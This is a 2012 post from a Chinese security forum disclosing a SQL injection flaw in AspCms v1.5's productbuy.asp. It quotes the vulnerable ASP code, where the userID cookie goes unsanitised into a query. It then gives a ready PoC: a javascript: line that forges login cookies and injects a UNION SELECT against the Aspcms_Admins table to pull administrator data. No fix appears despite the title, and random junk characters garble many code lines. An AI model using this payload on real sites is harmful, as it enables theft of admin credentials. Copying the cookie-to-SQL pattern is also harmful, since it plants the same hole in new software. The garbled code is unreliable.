找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2180|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内...../ }* W% X3 j. z' D) w
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。/ J, g2 ]4 F0 ^0 S- i
废话不多说,看代码:8 b- `! v1 g5 Z( S" N

5 K" H1 \4 m  T<%! m; x/ u/ B% [1 E6 n

/ n  U8 S9 g3 _3 z9 s# I! a( Xif action = "buy" then
" P8 m; F- w0 W$ L7 s, @* G/ B4 T8 \+ ?" r" O8 g5 u( E
        addOrder()
, z/ u, _9 T" N6 j% T& K& X9 y& Z4 E& k( S1 U! p
else9 }2 W/ L& |1 W& A) W6 D
" O& x0 u7 `# _+ A; h4 G( O
        echoContent()" C5 E2 E# F$ x0 ^- K, U
; b, y, u' @2 B; C( H/ h# e
end if  S1 q' f. e$ X3 U) ?
3 V) Q% M2 d( b4 h

/ J6 F' u% `0 _4 {, V, j0 V$ i
3 v2 i! J* E# {/ U9 u……略过
, k2 [2 j- T$ |' X: a) N  |5 u) q" q- h* J6 r9 T$ \

3 `  H# |8 n, N; Q9 j1 B: I% `
8 g% T/ c; c" ?Sub echoContent()1 n1 r1 [2 f7 M, t
+ `( y, j; p7 F& k
        dim id
; n& p4 O* ]$ J& Y1 Q' h, K5 S
/ E- W, l6 X. i  b        id=getForm("id","get")
" _2 n/ Z* a& ?+ y6 v5 I4 N9 v1 k4 |; y7 r) X7 t% ]# D
        9 I2 j1 _% s# k9 ~2 u

3 L+ R1 ?$ z7 m3 L7 T        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
4 G2 s; S# v+ `
# Y9 Q) `5 y! V7 S        $ B6 o# u5 G( u0 I& |+ R- B( T

5 p, m# e, L/ u( X3 \& t% O& n; e        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
7 M6 }1 o/ ^9 T' j- v2 _8 C8 q- B
8 H, G- e: }8 N3 Z. M        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
& q% r& r* X6 m, {0 U, N0 w5 M" S6 z1 ]4 G6 F" I0 P
        Dim templatePath,tempStr
: |! K- |7 f9 g. c
2 l: N3 `3 |6 A        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
+ i' \/ R2 G9 _
* f$ @% Y5 \% o% X- x, g/ F0 Y. l, L6 `* {4 ]0 M
% d4 s7 O/ \$ d. B+ c% g
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
/ T- W+ {, D2 W" s( n. x" N8 v3 q+ K  }( a: o- g& r$ C- L3 ~
        selectproduct=rsObj(0)
- }( j! X& B" r& d* W
" Z, H! q7 F" ]+ ~; |        
2 R6 y( @  i. S) o. L; D) e  i
0 D3 V* j0 i6 Q2 e4 K! O        Dim linkman,gender,phone,mobile,email,qq,address,postcode6 p) {6 M8 l/ a

5 l+ a1 p0 y% E/ i: C        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0! M' g! n8 ~* t1 z5 K

3 U: m1 i" d$ O  K0 U$ ^        if rCookie("loginstatus")=1 then  
! K( w0 l7 N; B( z0 I9 m: X# |
3 W2 q  D) G+ ^* \. B                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")8 R0 G+ {) F5 a
7 x# A: u& h' m* a" M! I% V  W
                linkman=rsObj("truename")
5 H2 p2 T2 W" H# a
& j: _  i% r/ P5 X, B" h" e                gender=rsObj("gender"): T( ^3 C9 r! U" g% q3 _5 R+ p# t8 W* ]

7 \( O9 k) L! q# s0 E                phone=rsObj("phone")5 O' E  N1 V- R+ n7 \
+ l& Y8 |/ R/ f" q& [5 i
                mobile=rsObj("mobile")
+ a, l) E# O; U) `8 a$ `" ?! ]6 z; \) K" q8 J$ {. b
                email=rsObj("email")
! z9 j( [9 ?5 s- T/ u3 C
4 h1 ^6 W3 S4 r                qq=rsObj("qq")% v4 f3 v# R- k) r1 d) b8 g. S8 K
  w+ ]4 w4 D' D- Y7 F/ Q+ i
                address=rsObj("address")9 D% d, l% U! Q0 Y

  _/ X' k: [  o  G; r( w, g( A                postcode=rsObj("postcode")) L# t6 D. G1 [' Y' ?: b; f  L: L' s
" F0 m1 F8 m/ J
        else
/ `+ a, E" F1 O+ o/ P( V$ n; g5 A2 B
                gender=1
, c, _, x9 N( [( ?5 H" Y( L2 |! A* M
        end if5 J, f/ d* ]8 S" ]% I' m) }3 z; `. F  I
8 l' D) f% n, U
        rsObj.close()1 ?4 l( [8 ?# A9 w( l, l
4 j7 V5 O2 r/ ]( T* O
               
2 f1 k  o4 y- u/ H6 x$ [
! W2 I% I7 e8 o4 r$ ?* j6 O        with templateObj
5 s% U( V6 g  \+ w
6 N$ j- ?7 m" B1 b$ g                .content=loadFile(templatePath)        : a4 Q7 U$ w4 E+ i
0 \3 u$ K) D! n0 j+ _/ f, q
                .parseHtml()! n( i3 O2 J" H5 t# W8 B" d
- P, Z4 ^1 \1 z7 a1 t4 Y8 X
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)3 Y  p, W# y, j! m# T4 M$ V9 r
' v6 E: [+ D5 e  x1 C9 ]& M: E
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
+ o/ j1 t5 v1 U2 N
9 Q* B. @$ ]0 X4 p                .content=replaceStr(.content,"[aspcms:gender]",gender)                ! D: t' A  W8 T# |

/ M9 r) t- K+ v1 x2 V) z                .content=replaceStr(.content,"[aspcms:phone]",phone)                " L# t, ~! `% i  M' G8 B; C& h# ~

) ]; T) Q6 [* f( r# s                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                9 H7 g: R! U9 O$ {  W8 Z. \' V9 H
9 k: P& w8 v6 @! W3 h. L
                .content=replaceStr(.content,"[aspcms:email]",email)                        : i  Y3 X3 I0 m1 t* x8 q0 |

" H2 p0 [+ x/ @- a7 q9 k$ @6 [! x                .content=replaceStr(.content,"[aspcms:qq]",qq)                        ' `8 l5 N! L$ X" c; F) t

8 G+ J7 G) v! E" Y, D/ d                .content=replaceStr(.content,"[aspcms:address]",address)                        : }2 a) |! I- o1 n
3 M) y8 R/ g6 l% L
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        * v6 s: Q$ j; \3 S9 K1 l
* Q# f8 Y* J) ?+ g
                .parseCommon()                 
% Q# Y8 [9 s, d: [: s
6 b( {* c$ E$ m$ r                echo .content ! Y7 K- b5 c* P: Q8 d
# K5 J# J' i" [0 u' t
        end with
) n; s  Q8 ~+ E4 ]$ i, g6 f: Z( [6 W) T" G* }4 ~1 X; x8 t. {
        set templateobj =nothing : terminateAllObjects. ~& Q( [$ d1 s" h/ l
! N5 i! n& o8 x
End Sub* {/ V4 {+ a+ Q7 N/ Z
漏洞很明显,没啥好说的
% `, F1 Y3 k3 b) bpoc:5 H4 i  {9 c1 P5 D2 ], G; Q' M% s8 f
* X1 E8 t5 j+ S9 Z) B. u% b
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
* z4 h5 Z  Q( X: R' u  \; `' U3 N2 \  A  U) c1 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表